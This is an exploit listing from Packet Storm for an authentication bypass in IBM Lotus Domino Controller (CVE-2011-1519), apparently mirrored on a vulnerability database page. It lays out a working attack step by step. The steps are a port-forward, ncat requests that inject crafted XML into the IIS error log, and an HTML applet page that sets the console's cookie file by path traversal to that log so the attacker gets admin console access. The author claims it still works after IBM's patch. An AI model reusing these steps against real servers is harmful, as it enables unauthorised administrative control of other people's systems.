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IBM Lotus Domino Authentication Bypass

🗓️ 30 Nov 2011 00:00:00Reported by Alexey SintsovType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 60 Views

IBM Lotus Domino Controller Authentication Bypass vulnerabilit

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Code
`# Exploit Title: IBM Lotus Domino Controller auth. bypass  
# Date:30/11/2011  
# Author: Alexey Sintsov  
# Software Link: http://www.ibm.com/  
# Version:8.5.3/8.5.2 FP3 (0day)   
# Tested on: Windows 7 / Windows 2008  
# CVE : CVE-2011-1519  
  
  
Application: IBM Lotus Domino Controller  
Versions Affected: <=8.5.2 FP3, <=8.5.3  
Manager 4.0 prior to Update 4  
(0day)  
Vendor URL: http://ibm.com  
Bug: own XML parser   
CVE: CVE-2011-1519  
CVSS2: 9.0  
Exploits: YES  
Reported:2010-09-23 via ZDI  
Date of Public Advisory: 2011-03-22  
Authors: Alexey Sintsov  
Digital Security Research Group [DSecRG] (research [at] dsecrg [dot]com)  
  
This bug was found by Patrik Karlsson and sold to ZDI. IBM make fix for this bug,  
but not enough. So this sploit can make auth. bypass in Lotus Domino Controller even with patch from IBM. So still 0day.  
Details you can read there: http://dsecrg.com/pages/pub/show.php?id=41  
  
EXPLOIT:  
  
1. Make port-fwd from 127.0.0.1:2050 to REMOTE_TARGET:2050  
2. Inject XML into IIS log file (for an example)  
  
ncat targethost 49152  
GET /<user HTTP/1.0\r\n\r\n  
  
  
ncat targethost 49152  
GET /user="admin"cookie="pass"address="http://twitter/asintsov" HTTP/1.0\r\n\r\n  
  
(\r\n\r\n) ENTER two times 8)  
  
3.Run this from local web-server (dconsole.jar - IBM Lotus Domino Console applet)  
  
<html>  
<body>  
<script>  
function onLoadConsole()  
{  
alert("Connected");  
}  
</script>  
<applet name = "DominoConsole"  
code = "lotus.domino.console.DominoConsoleApplet.class"  
codebase = "http://127.0.0.1/domjava/"  
archive = "dconsole.jar"  
width = "100%"  
height = "99%"  
>  
<PARAM NAME="debug" VALUE="true">  
<PARAM NAME="port" VALUE="2050">  
<PARAM NAME="useraddress" VALUE="http://twitter/asintsov">  
<PARAM NAME="username" VALUE="admin">  
<PARAM NAME="cookiefile" VALUE="\..\..\..\windows\system32\logfiles\httperr\httperr1.log">  
<PARAM NAME="cookievalue" VALUE="pass">  
<PARAM NAME="onLoad" VALUE="onLoadConsole">  
</applet>  
</body>  
</html>  
  
  
`

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30 Nov 2011 00:00Current
1.1Low risk
Vulners AI Score1.1
EPSS0.09065
60